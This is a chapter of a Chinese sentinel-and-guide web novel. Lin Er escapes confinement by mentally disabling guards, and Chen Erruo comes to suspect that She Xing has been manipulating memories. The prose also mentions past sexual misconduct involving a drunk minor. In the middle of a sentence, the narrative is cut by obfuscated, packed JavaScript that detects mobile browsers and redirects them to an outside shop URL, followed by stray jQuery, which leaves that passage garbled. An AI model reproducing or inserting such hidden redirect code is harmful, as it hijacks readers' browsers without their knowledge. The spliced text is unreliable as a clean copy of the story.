灰布窗帘严严实实地拉着，房间暗得投不进一丝光，像个囚室。女人翘着腿坐在书桌前，低头翻看手机信息。黑直长发垂下来，微微晃着，偶尔挡住台灯光线，她有些烦了，不耐地撩到耳后。
红灯罩裹住灯源，洇出幽幽红光，将她的手指洇上了艳丽的颜色，如晕开的血。
“你什么时候到，要不要我去接你。”
发完最后一则消息，林洱瞥向桌上散乱的资料，她伸手按住，修剪整齐的指甲恰好按在照片，在那张白净青涩的脸上按住一道清晰的刻痕。
女孩儿的眼神怯怯的，似乎不适应面对镜头，眼尾下垂，齐肩的短发看起来很规整，也有些呆板，整个人的气质内敛而瑟缩。
这是份详尽的人物资料，姓名、年龄、身份、人际关系，以及抵达白塔的时间与原因——陈尔若，20岁，父母双亡。其弟意外觉醒哨兵能力，她陪同来到白塔，后觉醒向导能力，能力异常，无法对哨兵进行疏解，且不稳定，故此封存。
一个看起来相当普通的、毫不起眼的女人。
是她与佘行的同类。
想起不久前的警告，林洱冷笑一声，推开那张资料，重新拿起手机。
消息层层叠叠从通知栏涌出来。
【平晶】：不用接我，我到了直接去找你
【平晶】：不行，我一定得跟你吐槽！再不说出来我要疯了！我快受不了诸发这个神经病了！要不是老师跟我强调这次比赛我俩合作赢面最大，我上下八辈子都不想用精神触手捅这疯疯癫癫的神经病的脑子
【平晶】：恶心！恶心！呕呕呕！
林洱不自觉往后仰，眉头微扬，她隔着屏幕都听得到平晶在用她那小学生似的嘶哑嗓音，声嘶力竭地骂，吵得要命。
【林洱】：其实你也不用忍他半个月
【林洱】：他给了我资料，这次参赛的还有两个与他实力差不多的哨兵。一个叫陈宿，一个叫蔺霍，遇见了你可以考虑倒戈换人
【平晶】：OK了解
向导间的交流放在其他人眼里或许傲慢，她们不对临时变卦感到任何不妥，也不为贸然更换合作对手而歉疚。大部分比赛设置两个名额，最终结果基本默认一位哨兵一位向导。
向导的选择往往决定哨兵的结果。
没有哪个哨兵会拒绝一位向导的辅助。
而高级向导，更意味着绝对的选择权。
林洱划到上一个的聊天界面，上面
【队长】：如果你不想一直待在房间里，明天我让谷晁接你回中央军区
【队长】：混乱辖区对你不安全，尽早回去
佘行对她的态度总是这样疏淡。所谓关心也只不过哄着她离开……不，他从不哄人，他只是提醒。他赶她离开是知道她的想法。他不想她去探究这个……平平无奇的、贸然出现的同类。
林洱神色冷冷。
那他该知道，他越不让她做的事，她偏要做。
她起身，几步走到门前，重重地砸了两下：“祝野，开门。”
良久，无人应答。
林洱看了眼手腕上的表，还不到七点。这个时间点，祝野应该还在外面。如果他离开，只能又被佘行调出去了。
考量后，她毫不犹豫，抬腿踩住门锁，重重一踹
“砰——！”
伴随着一声巨响，木门轰然被踹开，空空荡荡的走廊响起仓促的脚步声，紧接着，三个面色严峻的哨兵快步跑来，手向后背伸，已然是要拿枪的姿势。
被撞出的风掠动整齐的黑发，林洱独自站在门口，凝视着他们的眼睛，而后，微微眯了下眼。
腾升的透明触手瞬间插入哨兵的脑海，如同被摄取了神智，哨兵的眼神瞬间变得呆滞。没有任何呼救声，三人同时坠地的震响溅起薄灰。
不过片刻，走廊重新恢复原本的宁静。
林洱抬腿从他们身上跨过去，掏出手机：“喂，平晶……嗯，就现在，我去接你。”
*
车快开到目的地了，陈尔若还没听够小道消息。
“南部平晶？南部军区的吗？”
她眼巴巴地扒着副驾驶的椅背向前凑：“别停、别停啊！蔺霍，继续说！除了栗希，我还没见过其他高级向导呢。她很强吗？”
“坐好，别一会儿刹车再摔了。”
陈宿余光看着两人拉近的距离，凉声提醒。
陈尔若这才悻悻坐回原位。
“平晶是南部军区的高级向导，她的体质很特殊，精神触手与白塔大部分哨兵的识海都能兼容，所以与她合作几乎不需要磨合。不过这次她已经选择北部军区的诸发作为合作对象。”蔺霍稍稍顿了下，往后瞥了她一眼，“如果按照之前的参赛人选，不出意外，最后两个名额是归属他们的。”
“嗡嗡——”手机恰到好处地震了两下。
陈尔若讪讪摸了下鼻尖，从口袋掏手机。
他这意思不就是，原本内定给其他人的名额，因为她偷偷跑来，他们又跟着追来，最终造成了这内卷严重、竞争激烈的局面……
她身体往后仰，遮掩着，低头看是谁发来的消息。出乎意料的，是……戚诉发来的。
陈尔若愣了下。
戚诉发了一张照片。戚雯坐在餐桌，正捧着脸看漫画书，嘴里咬着筷子，眼神亮晶晶的，一副全神贯注的模样。小姑娘没穿她之前买的、色彩鲜艳的裙子，换成了灰扑扑的衬衫和工装裤——也是，戚诉的体质已经暴露，他们要在人群里躲藏。
【戚诉】：我们过得挺好的
【戚诉】：虽然暂时不能出门，但你留的钱足够我们过几个月……谢谢。
【戚诉】：上次的事你就当我没说
【戚诉】：我也不知道我为什么会说……可能是我一时鬼迷心窍了
【戚诉】：如果你觉得见我会……为难。我不会再主动找你了，谢谢你这段时间的照顾，等事态平息，我会赚钱，把钱还给你
看见消息，陈尔若猛然意识到这事她还没解决。或许是这两天突然袭来的糟心事太多，她都快忘了……她还没给戚诉一个交代。
未成年，酒后乱性，能力失控……细数起来真是比她当时强上蔺霍的罪名还要重。
“怎么突然不说话。”陈宿现在对她的情绪变化近乎敏锐，透过后视镜，他看见她的手机亮着，警惕地问，“谁的消息。”
陈宿的雷区就是戚诉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013638|173346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，现在提了，蔺霍又要问起来，解释的越多越添乱。陈尔若面不改色地，撒谎：“祝野。”
先发制人，不等蔺霍问，陈尔若急急解释：“祝野，混乱辖区的哨兵，我挑的合作人，我俩已经磨合了一段时间了，等到了赛场能帮忙。”
蔺霍淡淡“嗯”了声，没再问。
糊弄完俩人，陈尔若重新看着这几则消息，她略感头疼。
她还能怎么弥补？蔺霍的事就是前车之鉴，她到现在都还没解决这桩事，就是因为弥补不了，反而将事态弄得越来越浑。
视线停留在“鬼迷心窍”这四个字上。
陈尔若不禁咬牙。
她怎么也能鬼迷心窍，做出……
戚诉的消息再次弹出来。
【戚诉】：还有，有件事我想提醒你
对面迟疑了一会儿。
【戚诉】：关于祝野，你让他带我离开的那天，我在车上看见了……他和其他人有联系
有联系？
陈尔若皱了下眉，她不意外戚诉发现祝野听命其他人的事。她只意外他是怎么发现，祝野居然会在这种事上出纰……
等一下。
陈尔若心神一颤，她死死盯住“鬼迷心窍”那四个字。
记忆。
记忆。
她来混乱辖区的第一天就抹去过他人的记忆。后来，她不止抹去，她还捏造、更改过。
而在这里，能更改他人记忆的并非她一个人。
如果那些她用能力在戚诉识海里窥视到的，让她感到惊骇的、难以置信的记忆，真的是原本的记忆。
她的酒量真的差劲到，在她喝醉后完全意识不到自己运用了能力，第二天都没发现她和戚诉发生关系吗？甚至连戚诉后来的举止也毫无异样，直到现在才告诉她这些荒唐的事。
重重被忽视的漏洞就这样，在荒谬而有迹可循的猜测中簌簌露出，就像墙灰后的斑驳，一点一点，扩大、强化。
陈尔若紧紧攥着手机，咬紧牙关。
那晚，她着急解决陈宿的事，让祝野送戚诉离开。第二天，戚诉就来找她说了这些事……她震惊不已，查探了他脑中的记忆就更深信不疑。
如果那天祝野没有直接带戚诉回去呢。
如果……他带他见了佘行呢。
佘行。
最初就是他引诱她将戚诉当做可以牺牲的替代品。通过旁观她的几个动作、几句话，轻易地堪破她的欲望与阴暗面，自顾自牵引她朝他设计好的方向走，像对待一件被他亲手雕琢的作品。
他做得出这样的事。
就像他给她打的那通电话，轻描淡写地将她的事情搅浑，让她焦头烂额……他调动她的情绪，她的恐慌，让她一次次陷入无法处理的狼藉里。
为什么。
他到底，要做什么。
过度用力的掌心被手机的棱角硌得发疼。
“陈宿，我要见佘行。”
陈尔若握上驾驶位的椅背。
前视镜里，她看见她的脸，面部肌肉紧绷到隐隐抽动，那双漆黑的眼里淌出难以遏制的怒意，汹涌到能淹没其他所有情绪。
她说：“我现在，就要见他。”